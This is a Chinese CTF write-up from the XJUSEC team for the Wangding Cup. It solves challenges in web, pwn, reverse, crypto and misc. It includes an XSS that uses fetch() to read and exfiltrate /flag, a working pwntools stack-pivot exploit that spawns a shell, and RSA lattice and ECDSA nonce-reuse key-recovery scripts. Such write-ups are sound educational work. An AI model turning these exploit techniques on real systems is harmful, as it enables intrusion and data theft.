网鼎杯WRITEUP

由 ssnhy13 发布
网鼎杯WRITEUP

(已经争取同意了,此篇文章发布人:xinyi)

writeup by XJUSEC我想把回忆拼好给你
这个writeup来自新疆大学实验室(XJUSEC)的四位师傅
H1m Coc j3ff xinyi
作为密码手这次真爽,一个是原题一个是ai可以直接一把梭出来,早上起晚了结果一会就把密码做完然后看misc看了一会看到中午直接下机了。

WEB

WEB02

使用浏览器打开解题地址,有个登录框,输入任何密码都可以登录但是有个hash值需要记住就是这个content_hash要记住后面插入js代码时候要用到

这个代码填以后刷新页面发现确实有弹窗然后确认有xss漏洞然后构造payload然后记得xss有个fetch API可以发送http请求

然后扫描网站可以看到/flag然后使用fetch构造fetch('/flag').then(response => response.text()).这个就是利用fetch然后给服务器发送了一个请求 然后.then(response => response.text())这个是让fetch解析以后然后作为文本进行解析出来。然后再写一个接受这个文本.then(data =>这里面存放的就是flag的内容然后因为现在还没有弄到网站上面所以还需要构造一个fetch来进行将文本内容放到网站上面

这个就是js脚本,不知道为什么,js脚本会被waf拦截(红温了)
然后访问我们的题目连接后面需要加上我们之前content_hash的值/content/content_hash然后访问就可以得到flag

PWN

PWN02

32位栈迁移,有binsh和system,迁移到栈上打ret2text就行


from pwn import *
from ctypes import *
from LibcSearcher import *
# p = remote('27.25.151.43',32793)
# p = remote('0192d5d5adf97e5991ce160ac8c9a8fd.wnui.dg06.ciihw.cn',43291)
p = process('./short')
elf = ELF('./short')
# libc = ELF('/home/tangjunyi/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
context.clear(arch='i386',os = 'linux',log_level = 'debug')
# context.terminal = ['tmux','splitw','-h']
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
sh = 0x0804A038
lea = 0x08048674
ret = 0x080483fa
sys = elf.symbols['system']
log.info('sys: ' + hex(sys))
sla(b'username: ',b'admin')
sla(b'password: ',b'admin123')
ru(b'this: ')
stack = int(rc(10),16)
log.info('stack: ' + hex(stack))
payload = p32(sys) + b'a'*4 + p32(sh)
payload = payload.ljust(0x50,b'a')
payload += p32(stack-0x4) + p32(lea)
# gdb.attach(p)
sla(b'msg:\n',payload)
shell()

REVERSE

REVERSE01

apk⽂件⾥⾯啥也没有,我们直接对so⽂件进⾏分析
能够看到是sm4加密,貌似对这个流程体进⾏了⼤规模的魔改:

最主要的是进⾏了xor⼀个7
和近乎所有的表都改了
我之前就在试着还原但是貌似做不出
我们继续分析这个魔改的表和7的关系,我们进⾏尝试

(下图为标准sm4脚本)

我们打印⼀下

(其他的表也是的)
我们发现就是他这个7就是⼀个混淆的流程,其实在加密过程中我们还是相对标准的
现在问题就来了,我们标准的解密不了,我们回到之前的密钥的位置

我们发现钥匙的后⾯没有⽤到,只⽤到A1122357
但是v3和v4是作为(下图为标准sm4脚本)

k2和k3传过去的,我们可以到推出key的后⾯⼏位
(其实这个地⽅他⽤到的fk就是正常的,也就是在提示你,我的这个程序就是⽤标准的的算法进⾏解
答)

a = [0x97,0x91,0x7d,0x67]
 b = [0xAE,0xA9,0X4B,0X53]
 for i in range(len(a)):
 print(chr(a[i]^b[i]))
 #A11223574689900Z
 c = [0x86,0x12,0x40,0x8b]
 d = [0xdc,0x22,0x70,0xb2]
 for i in range(len(a)):
 print(chr(d[i]^c[i]))

我们异或⼀下就⾏,之前我⼤⼩端没对!!!!!!因该是,导致出不来
然后⽤赛博厨⼦⼀把锁

这⾥拿密⽂
C32109D0468C42B529ED119BA6788B81EC07FEF705C0D104E83974B6A8B8B263414963A84643
00D1158262C8C970C585

然后就得到flag了

REVERSE02

这道题我们直接对源码进⾏审计,flag分为了四段:
分别可⽤xor,爆破,base64换表,aes解密获得
其中我们的爆破中那个地⽅注意先将负数转为16进制才能爆破8位,要不然就是6位


 v4 = [0]*16
 v4[0] = -5
 v4[1] = -39
 v4[2] = -77
 v4[3] = -85
 v4[4] = -39
 v4[5] = -120
 v4[6] = -26
 v4[7] = 11
 v4[8] = -109
 v4[9] = 124
 v4[10] = -107
 v4[11] = -21
 v4[12] = -108
 v4[13] = -37
 v4[14] = 11
 v4[15] = 84
 for i in v4:
    print(hex(i&0xff),end='')
 s2 = [0]*8
 s2[0] = 112
 s2[1] = 0xcc
 s2[2] = 98
 s2[3] = 0xca
 s2[4] = ord('`')
 s2[5] = ord('n')
 s2[6] = ord('l')
 s2[7] = ord('l')
 flag1 = ''
 for i in range(len(s2)):
    for j in range(255):
        if s2[i] == 2*j:
            flag1 += chr(j&0xff)
 print(flag1)
 #8f1e0766
 v22 = "XorrLord"
 v11 = [0]*8
 v11[0] = ord('i')
 v11[1] = ord('V')
 v11[2] = ord('E')
 v11[3] = 23
 v11[4] = 125
 v11[5] = 13
 v11[6] = 17
 v11[7] = 82
 flag2 = ''
 for i in range(len(v11)):
    flag2 += chr(v11[i]^ord(v22[i]))
 print(flag2)
 #197e1bc6
 #d346fe66
 #wdflag{8f1e0766197e1bc6809832f4d346fe66}

其中base和aes如图所示:
这个base给表的时候少了一个C还要自己补上

CRYPTO

CRYPTO01


这是题目下载以后的附件
上网查询发现是2023领航杯的密码题目然后修改脚本,
然后使用sage 要用到高位攻击
脚本

import time

time.clock = time.time

debug = True

strict = False

helpful_only = True
dimension_min = 7  # 如果晶格达到该尺寸,则停止移除

# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii, ii] >= modulus:
            nothelpful += 1

        print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii, jj] == 0 else 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        # print (a)

# 尝试删除无用的向量
# 从当前 = n-1(最后一个向量)开始
def remove_unhelpful(BB, monomials, bound, current):
    # 我们从当前 = n-1(最后一个向量)开始
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB

    # 开始从后面检查
    for ii in range(current, -1, -1):
        #  如果它没有用
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # 让我们检查它是否影响其他向量
            for jj in range(ii + 1, BB.dimensions()[0]):
                # 如果另一个向量受到影响:
                # 我们增加计数
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj

            # 等级:0
            # 如果没有其他载体最终受到影响
            # 我们删除它
            if affected_vectors == 0:
                # print ("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                return BB

            # 等级:1
            # 如果只有一个受到影响,我们会检查
            # 如果它正在影响别的向量
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # 如果它影响哪怕一个向量
                    # 我们放弃这个
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # 如果没有其他向量受到影响,则将其删除,并且
                # 这个有用的向量不够有用
                # 与我们无用的相比
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(
                        bound - BB[ii, ii]):
                    # print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                    return BB
    # nothing happened
    return BB

""" 
Returns:
* 0,0   if it fails
* -1,-1 如果 "strict=true",并且行列式不受约束
* x0,y0 the solutions of `pol`
"""

def boneh_durfee(pol, modulus, mm, tt, XX, YY):
    """
    Boneh and Durfee revisited by Herrmann and May

 在以下情况下找到解决方案:
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt(2)/2 ~ 0.292
    """

    # substitution (Herrman and May)
    PR. < u, x, y > = PolynomialRing(ZZ)  # 多项式环
    Q = PR.quotient(x * y + 1 - u)  # u = xy + 1
    polZ = Q(pol).lift()

    UU = XX * YY + 1

    # x-移位
    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x ^ ii * modulus ^ (mm - kk) * polZ(u, x, y) ^ kk
            gg.append(xshift)
    gg.sort()

    # 单项式 x 移位列表
    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials():  # 对于多项式中的单项式。单项式():
            if monomial not in monomials:  # 如果单项不在单项中
                monomials.append(monomial)
    monomials.sort()

    # y-移位
    for jj in range(1, tt + 1):
        for kk in range(floor(mm / tt) * jj, mm + 1):
            yshift = y ^ jj * polZ(u, x, y) ^ kk * modulus ^ (mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift)  # substitution

    # 单项式 y 移位列表
    for jj in range(1, tt + 1):
        for kk in range(floor(mm / tt) * jj, mm + 1):
            monomials.append(u ^ kk * y ^ jj)

    # 构造格 B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0, 0)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU, XX, YY)

    # 约化格的原型
    if helpful_only:
        #  #自动删除
        BB = remove_unhelpful(BB, monomials, modulus ^ mm, nn - 1)
        # 重置维度
        nn = BB.dimensions()[0]
        if nn == 0:
            print("failure")
            return 0, 0

    # 检查向量是否有帮助
    if debug:
        helpful_vectors(BB, modulus ^ mm)

    # 检查行列式是否正确界定
    det = BB.det()
    bound = modulus ^ (mm * nn)
    if det >= bound:
        print("We do not have det < bound. Solutions might not be found.")
        print("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus ^ mm)

    # LLL
    if debug:
        print("optimizing basis of the lattice via LLL, this can take a long time")

    # BB = BB.BKZ(block_size=25)
    BB = BB.LLL()

    if debug:
        print("LLL is done!")

    # 替换向量 i 和 j ->多项式 1 和 2
    if debug:
        print("在格中寻找线性无关向量")
    found_polynomials = False

    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):

            # 对于i and j, 构造两个多项式

            PR. < w, z > = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY)
                pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY)

            # 结果
            PR. < q > = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)

            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        print("no independant vectors could be found. This should very rarely happen...")
        return 0, 0

    rr = rr(q, q)

    # solutions
    soly = rr.roots()

    if len(soly) == 0:
        print("Your prediction (delta) is too small")
        return 0, 0

    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]
    return solx, soly

def example():
    ############################################
    # 随机生成数据
    ##########################################
    # start_time =time.perf_counter
    start = time.clock()
    size = 512
    length_N = 2 * size;
    ss = 0
    s = 70;
    M = 1  # the number of experiments
    delta = 299 / 1024
    # p =  random_prime(2^512,2^511)
    for i in range(M):
        #         p =  random_prime(2^size,None,2^(size-1))
        #         q =  random_prime(2^size,None,2^(size-1))
        #         if(p<q):
        #             temp=p
        #             p=q
        #             q=temp
        N =
        e =
        c =
        hint1 =  # p高位
        hint2 =  # q高位
        #         print ("p真实高",s,"比特:", int(p/2^(512-s)))
        #         print ("q真实高",s,"比特:", int(q/2^(512-s)))

        #         N = p*q;

        # 解密指数d的指数( 最大0.292)

        m = 7  # 格大小(越大越好/越慢)
        t = round(((1 - 2 * delta) * m))  # 来自 Herrmann 和 May 的优化
        X = floor(N ^ delta)  #
        Y = floor(N ^ (1 / 2) / 2 ^ s)  # 如果 p、 q 大小相同,则正确
        for l in range(int(hint1), int(hint1) + 1):
            print('\n\n\n l=', l)
            pM = l;
            p0 = pM * 2 ^ (size - s) + 2 ^ (size - s) - 1;
            q0 = N / p0;
            qM = int(q0 / 2 ^ (size - s))
            A = N + 1 - pM * 2 ^ (size - s) - qM * 2 ^ (size - s);
            # A = N+1
            P. < x, y > = PolynomialRing(ZZ)
            pol = 1 + x * (A + y)  # 构建的方程

            # Checking bounds
            # if debug:
            # print ("=== 核对数据 ===")
            # print ("* delta:", delta)
            # print ("* delta < 0.292", delta < 0.292)
            # print ("* size of e:", ceil(log(e)/log(2)))  # e的bit数
            # print ("* size of N:", len(bin(N)))          # N的bit数
            # print ("* size of N:", ceil(log(N)/log(2)))  # N的bit数
            # print ("* m:", m, ", t:", t)

            # boneh_durfee
            if debug:
                ##print ("=== running algorithm ===")
                start_time = time.time()

            solx, soly = boneh_durfee(pol, e, m, t, X, Y)

            if solx > 0:
                # print ("=== solution found ===")
                if False:
                    print("x:", solx)
                    print("y:", soly)

                d_sol = int(pol(solx, soly) / e)
                ss = ss + 1

                print("=== solution found ===")
                print("p的高比特为:", l)
                print("q的高比特为:", qM)
                print("d=", d_sol)

            if debug:
                print("=== %s seconds ===" % (time.time() - start_time))
            # break
        print("ss=", ss)
        # end=time.process_time
        end = time.clock()
        print('Running time: %s Seconds' % (end - start))

if __name__ == "__main__":
    example()  

数据填进去以后可以得到d然后使用rsa解密就可以

from Crypto.Util.number import *

n = 
d = 
c = 

m = pow(c,d,n)
print(long_to_bytes(m))

CRYPTO02

下载CRYPTO02的附件打开然后看有维吉尼亚加密然后参考网上的解密脚本进行修改
这个是网上的

def vigenere_decrypt(ciphertext, key):
    plaintext = ""
    key_len = len(key)
    for i in range(len(ciphertext)):
        # 计算密钥字符的索引
        key_index = i % key_len
        # 计算解密后的字符
        char = chr((ord(ciphertext[i]) - ord(key[key_index])) % 26 + ord('A'))
        # 将解密后的字符加入到明文中
        plaintext += char
    return plaintext

这个是修改以后的

def victory_encrypt(plaintext, key):
    key_length = len(key)
    aaa = []

    for i, char in enumerate(plaintext):
        if char.isalpha():
            shift = ord(key[i % key_length]) - ord('A')
            if char.islower():
                d_c = chr((ord(char) - ord('a') - shift + 26) % 26 + ord('a'))
            else:
                d_c = chr((ord(char) - ord('A') - shift + 26) % 26 + ord('A'))
            aaa.append(d_c)
        else:
            aaa.append(char)
    return ''.join(aaa)

可以看到有ECC加密然后需要进行解密,ECC有签名漏洞随机数重用漏洞。然后可以利用r1 s1 z1和r2 s2 z2计算出ECC的私钥然后用这个私钥来解AES加密的flag

k = ((z1 - z2) * gmpy2.invert(s1 - s2, n)) % n
d = ((s1 * k - z1) * gmpy2.invert(r1, n)) % n
aes_k = sha256(long_to_bytes(d)).digest()

这个就是ECC解密的代码
然后使用ECC解除的私钥弄出AES的密钥,解密AES加密的密文

encrypted_flag_hex = ""
encrypted_flag = binascii.unhexlify(encrypted_flag_hex)

# 初始化向量(IV)和密文
iv = encrypted_flag[:16]  # 假设这是正确的IV
ciphertext = encrypted_flag[16:]  # 假设这是正确的密文

# 创建AES对象并解密
cipher = AES.new(aes_k, AES.MODE_CBC, iv)
try:
    plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size).decode("utf-8")
except ValueError as e:
    print("Padding is incorrect:", e)
    plaintext = None

使用维吉尼亚解密还原flag

def victory_encrypt(plaintext, key):
    key_length = len(key)
    aaa = []

    for i, char in enumerate(plaintext):
        if char.isalpha():
            shift = ord(key[i % key_length]) - ord('A')
            if char.islower():
                d_c = chr((ord(char) - ord('a') - shift + 26) % 26 + ord('a'))
            else:
                d_c = chr((ord(char) - ord('A') - shift + 26) % 26 + ord('A'))
            aaa.append(d_c)
        else:
            aaa.append(char)
    return ''.join(aaa)

# 胜利密钥
victory_key = "WANGDINGCUP"

脚本解出来以后全是大写然后转换成小写就可以提交了

MISC

MISC03

这个题目中途更新过一次然后好像是第一次flag不对找到了但是提交不上去。
下载附件以后打开然后根据题目描述说遭到攻击了然后直接CTRL+F搜索hacker然后可以发现三个ip

三个都试了一下然后39.168.5.60成功提交然后就知道这个是flag

MISC04

这个题目是irisctf2024 The Peano Scramble(原题)直接套脚本就可以
脚本

from PIL import Image
from tqdm import tqdm

def peano(n):
    if n == 0:
        return [[0,0]]
    else:
        in_lst = peano(n - 1)
        lst = in_lst.copy()
        px,py = lst[-1]
        lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
        return lst

order = peano(6)

img = Image.open(r"C:\Users\ASUSROG\Desktop\chal.png")

width, height = img.size

block_width = width # // 3
block_height = height # // 3

new_image = Image.new("RGB", (width, height))

for i, (x, y) in tqdm(enumerate(order)):
    # 根据列表顺序获取新的坐标
    new_x, new_y = i % width, i // width
    # 获取原图像素
    pixel = img.getpixel((x, height - 1 - y))
    # 在新图像中放置像素
    new_image.putpixel((new_x, new_y), pixel)

new_image.save("rearranged_image.jpg") 

出来以后呢要进行旋转,旋转以后扫码可以得到flag
旋转以后得到的图片

扫码可以得到flag


0条评论

评论已关闭